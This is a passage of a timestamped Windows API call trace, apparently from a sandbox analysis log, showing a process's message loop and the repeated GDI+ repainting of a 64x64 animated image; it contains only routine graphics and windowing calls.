(lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0121.210] CoTaskMemFree (pv=0x1afd3e80) [0121.210] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0121.210] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0121.210] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0121.210] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0121.211] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5501018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0121.211] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.211] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5501018a) returned 0x0 [0121.211] SelectObject (hdc=0x5501018a, h=0x185000f) returned 0x1a05067e [0121.211] DeleteDC (hdc=0x5501018a) returned 1 [0121.211] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.211] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0121.211] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0121.211] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0121.212] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0121.212] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0121.212] WaitMessage () returned 1 [0121.734] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0121.734] IsWindowUnicode (hWnd=0x2031e) returned 1 [0121.735] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0121.735] TranslateMessage (lpMsg=0x15e910) returned 0 [0121.735] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0121.735] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0121.735] GetCurrentThreadId () returned 0xec0 [0121.735] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0121.735] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0121.735] IsWindowUnicode (hWnd=0x2031e) returned 1 [0121.735] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0121.735] TranslateMessage (lpMsg=0x15e910) returned 0 [0121.735] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0121.735] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0121.735] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0121.735] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5601018a [0121.736] SelectObject (hdc=0x5601018a, h=0x1a05067e) returned 0x185000f [0121.736] GdipCreateFromHDC (hdc=0x5601018a, graphics=0x15daf0) returned 0x0 [0121.736] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0121.736] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0121.736] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0121.736] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0121.736] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0121.736] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0630 [0121.736] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0630) returned 0x0 [0121.737] LocalFree (hMem=0x1e7a0630) returned 0x0 [0121.737] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.737] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0121.737] GdipCreateRegion (region=0x15dc20) returned 0x0 [0121.737] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0121.737] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0121.737] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0121.737] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0121.737] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0121.737] GetSystemMetrics (nIndex=42) returned 0 [0121.737] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0121.737] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0121.737] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0121.737] CoTaskMemFree (pv=0x1afd3e80) [0121.737] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0121.738] GdipCreateRegion (region=0x15d710) returned 0x0 [0121.738] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0121.738] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0121.738] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0121.738] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0121.738] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0630 [0121.738] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0630) returned 0x0 [0121.738] LocalFree (hMem=0x1e7a0630) returned 0x0 [0121.739] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0121.739] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0630 [0121.739] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0630) returned 0x0 [0121.739] LocalFree (hMem=0x1e7a0630) returned 0x0 [0121.739] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.739] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0121.739] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0121.739] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0121.739] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0121.739] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.739] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0121.739] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0121.740] GetCurrentObject (hdc=0x5601018a, type=0x1) returned 0x1b00017 [0121.740] GetCurrentObject (hdc=0x5601018a, type=0x2) returned 0x1900010 [0121.740] GetCurrentObject (hdc=0x5601018a, type=0x7) returned 0x1a05067e [0121.740] GetCurrentObject (hdc=0x5601018a, type=0x6) returned 0x18a002e [0121.740] SaveDC (hdc=0x5601018a) returned 1 [0121.740] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x33040b8a [0121.740] GetClipRgn (hdc=0x5601018a, hrgn=0x33040b8a) returned 0 [0121.740] SelectClipRgn (hdc=0x5601018a, hrgn=0x630407c3) returned 2 [0121.740] DeleteObject (ho=0x33040b8a) returned 1 [0121.740] DeleteObject (ho=0x630407c3) returned 1 [0121.740] OffsetViewportOrgEx (in: hdc=0x5601018a, x=0, y=0, lppt=0x27512a8 | out: lppt=0x27512a8) returned 1 [0121.740] GetNearestColor (hdc=0x5601018a, color=0xffffff) returned 0xffffff [0121.740] CreateSolidBrush (color=0xffffff) returned 0x3b100190 [0121.740] FillRect (hDC=0x5601018a, lprc=0x15d7c0, hbr=0x3b100190) returned 1 [0121.740] DeleteObject (ho=0x3b100190) returned 1 [0121.740] RestoreDC (hdc=0x5601018a, nSavedDC=-1) returned 1 [0121.741] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.741] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5601018a) returned 0x0 [0121.741] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd700dbd) returned 0x0 [0121.741] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.741] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0121.741] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0121.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0121.741] GetSystemMetrics (nIndex=42) returned 0 [0121.741] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0121.741] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0121.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0121.741] CoTaskMemFree (pv=0x1afd3e80) [0121.741] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0121.743] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0121.743] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0121.743] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0121.743] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0121.743] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5601018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0121.744] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.744] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5601018a) returned 0x0 [0121.744] SelectObject (hdc=0x5601018a, h=0x185000f) returned 0x1a05067e [0121.744] DeleteDC (hdc=0x5601018a) returned 1 [0121.744] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.744] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0121.744] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0121.744] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0121.744] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0121.744] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0121.744] WaitMessage () returned 1 [0121.982] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0121.982] IsWindowUnicode (hWnd=0x2031e) returned 1 [0121.982] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0121.982] TranslateMessage (lpMsg=0x15e910) returned 0 [0121.982] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0121.983] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0121.983] GetCurrentThreadId () returned 0xec0 [0121.983] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0121.984] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0121.984] IsWindowUnicode (hWnd=0x2031e) returned 1 [0121.984] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0121.984] TranslateMessage (lpMsg=0x15e910) returned 0 [0121.984] DispatchMessageW (lpMsg=0x15e910) returned 0x1 [0121.984] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0121.984] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0121.984] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5701018a [0121.984] SelectObject (hdc=0x5701018a, h=0x1a05067e) returned 0x185000f [0121.984] GdipCreateFromHDC (hdc=0x5701018a, graphics=0x15daf0) returned 0x0 [0121.984] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0121.985] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0121.985] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0121.985] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0121.985] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0121.985] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0db0 [0121.985] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0db0) returned 0x0 [0121.985] LocalFree (hMem=0x1e7a0db0) returned 0x0 [0121.986] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.986] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0121.986] GdipCreateRegion (region=0x15dc20) returned 0x0 [0121.986] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0121.986] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0121.986] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0121.986] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0121.986] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0121.986] GetSystemMetrics (nIndex=42) returned 0 [0121.986] CoTaskMemAlloc (cb=0x6) returned 0x1afd3b40 [0121.986] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3b40, nMaxCount=1 | out: lpString="") returned 0 [0121.986] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3b40) returned 0x0 [0121.986] CoTaskMemFree (pv=0x1afd3b40) [0121.986] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0121.987] GdipCreateRegion (region=0x15d710) returned 0x0 [0121.987] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0121.987] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0121.987] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0121.987] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0121.987] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0db0 [0121.987] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0db0) returned 0x0 [0121.987] LocalFree (hMem=0x1e7a0db0) returned 0x0 [0121.987] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0121.987] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0db0 [0121.988] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0db0) returned 0x0 [0121.988] LocalFree (hMem=0x1e7a0db0) returned 0x0 [0121.988] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.988] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0121.988] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0121.988] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0121.988] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0121.988] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.988] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0121.989] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0121.989] GetCurrentObject (hdc=0x5701018a, type=0x1) returned 0x1b00017 [0121.989] GetCurrentObject (hdc=0x5701018a, type=0x2) returned 0x1900010 [0121.989] GetCurrentObject (hdc=0x5701018a, type=0x7) returned 0x1a05067e [0121.989] GetCurrentObject (hdc=0x5701018a, type=0x6) returned 0x18a002e [0121.989] SaveDC (hdc=0x5701018a) returned 1 [0121.989] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x640407c3 [0121.989] GetClipRgn (hdc=0x5701018a, hrgn=0x640407c3) returned 0 [0121.989] SelectClipRgn (hdc=0x5701018a, hrgn=0x34040b8a) returned 2 [0121.990] DeleteObject (ho=0x640407c3) returned 1 [0121.990] DeleteObject (ho=0x34040b8a) returned 1 [0121.990] OffsetViewportOrgEx (in: hdc=0x5701018a, x=0, y=0, lppt=0x2752650 | out: lppt=0x2752650) returned 1 [0121.990] GetNearestColor (hdc=0x5701018a, color=0xffffff) returned 0xffffff [0121.990] CreateSolidBrush (color=0xffffff) returned 0x3c100190 [0121.990] FillRect (hDC=0x5701018a, lprc=0x15d7c0, hbr=0x3c100190) returned 1 [0121.990] DeleteObject (ho=0x3c100190) returned 1 [0121.990] RestoreDC (hdc=0x5701018a, nSavedDC=-1) returned 1 [0121.990] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.990] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5701018a) returned 0x0 [0121.990] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd6e0dbd) returned 0x0 [0121.991] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.991] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0121.991] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0121.991] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0121.991] GetSystemMetrics (nIndex=42) returned 0 [0121.991] CoTaskMemAlloc (cb=0x6) returned 0x1afd3b40 [0121.991] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3b40, nMaxCount=1 | out: lpString="") returned 0 [0121.991] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3b40) returned 0x0 [0121.991] CoTaskMemFree (pv=0x1afd3b40) [0121.991] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0121.991] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0121.992] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0121.992] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0121.992] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5701018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0121.992] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.992] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5701018a) returned 0x0 [0121.992] SelectObject (hdc=0x5701018a, h=0x185000f) returned 0x1a05067e [0121.992] DeleteDC (hdc=0x5701018a) returned 1 [0121.992] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.993] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0121.993] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0121.993] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0121.993] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0121.993] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0121.993] WaitMessage () returned 1 [0122.202] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.202] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.202] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.202] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.202] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.203] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0122.203] GetCurrentThreadId () returned 0xec0 [0122.203] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0122.203] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.203] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.203] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.203] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.203] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.203] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0122.203] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0122.203] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5801018a [0122.203] SelectObject (hdc=0x5801018a, h=0x1a05067e) returned 0x185000f [0122.203] GdipCreateFromHDC (hdc=0x5801018a, graphics=0x15daf0) returned 0x0 [0122.204] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0122.204] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0122.204] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0122.204] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0122.204] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0122.204] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0db0 [0122.204] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0db0) returned 0x0 [0122.205] LocalFree (hMem=0x1e7a0db0) returned 0x0 [0122.205] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.205] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0122.205] GdipCreateRegion (region=0x15dc20) returned 0x0 [0122.205] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0122.205] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0122.205] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0122.205] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.205] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.205] GetSystemMetrics (nIndex=42) returned 0 [0122.205] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.205] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.205] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.205] CoTaskMemFree (pv=0x1afd3ea0) [0122.206] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0122.206] GdipCreateRegion (region=0x15d710) returned 0x0 [0122.206] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0122.206] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0122.206] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0122.206] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0122.206] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0db0 [0122.206] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0db0) returned 0x0 [0122.206] LocalFree (hMem=0x1e7a0db0) returned 0x0 [0122.207] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0122.207] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0db0 [0122.207] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0db0) returned 0x0 [0122.207] LocalFree (hMem=0x1e7a0db0) returned 0x0 [0122.207] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.207] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0122.207] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0122.207] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0122.207] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0122.207] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.207] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0122.208] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0122.208] GetCurrentObject (hdc=0x5801018a, type=0x1) returned 0x1b00017 [0122.208] GetCurrentObject (hdc=0x5801018a, type=0x2) returned 0x1900010 [0122.208] GetCurrentObject (hdc=0x5801018a, type=0x7) returned 0x1a05067e [0122.208] GetCurrentObject (hdc=0x5801018a, type=0x6) returned 0x18a002e [0122.208] SaveDC (hdc=0x5801018a) returned 1 [0122.208] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x35040b8a [0122.208] GetClipRgn (hdc=0x5801018a, hrgn=0x35040b8a) returned 0 [0122.208] SelectClipRgn (hdc=0x5801018a, hrgn=0x650407c3) returned 2 [0122.208] DeleteObject (ho=0x35040b8a) returned 1 [0122.208] DeleteObject (ho=0x650407c3) returned 1 [0122.208] OffsetViewportOrgEx (in: hdc=0x5801018a, x=0, y=0, lppt=0x2756af8 | out: lppt=0x2756af8) returned 1 [0122.208] GetNearestColor (hdc=0x5801018a, color=0xffffff) returned 0xffffff [0122.208] CreateSolidBrush (color=0xffffff) returned 0x3d100190 [0122.209] FillRect (hDC=0x5801018a, lprc=0x15d7c0, hbr=0x3d100190) returned 1 [0122.209] DeleteObject (ho=0x3d100190) returned 1 [0122.209] RestoreDC (hdc=0x5801018a, nSavedDC=-1) returned 1 [0122.209] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.209] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5801018a) returned 0x0 [0122.209] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd6c0dbd) returned 0x0 [0122.209] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.209] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0122.209] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.209] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.209] GetSystemMetrics (nIndex=42) returned 0 [0122.209] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.209] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.209] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, 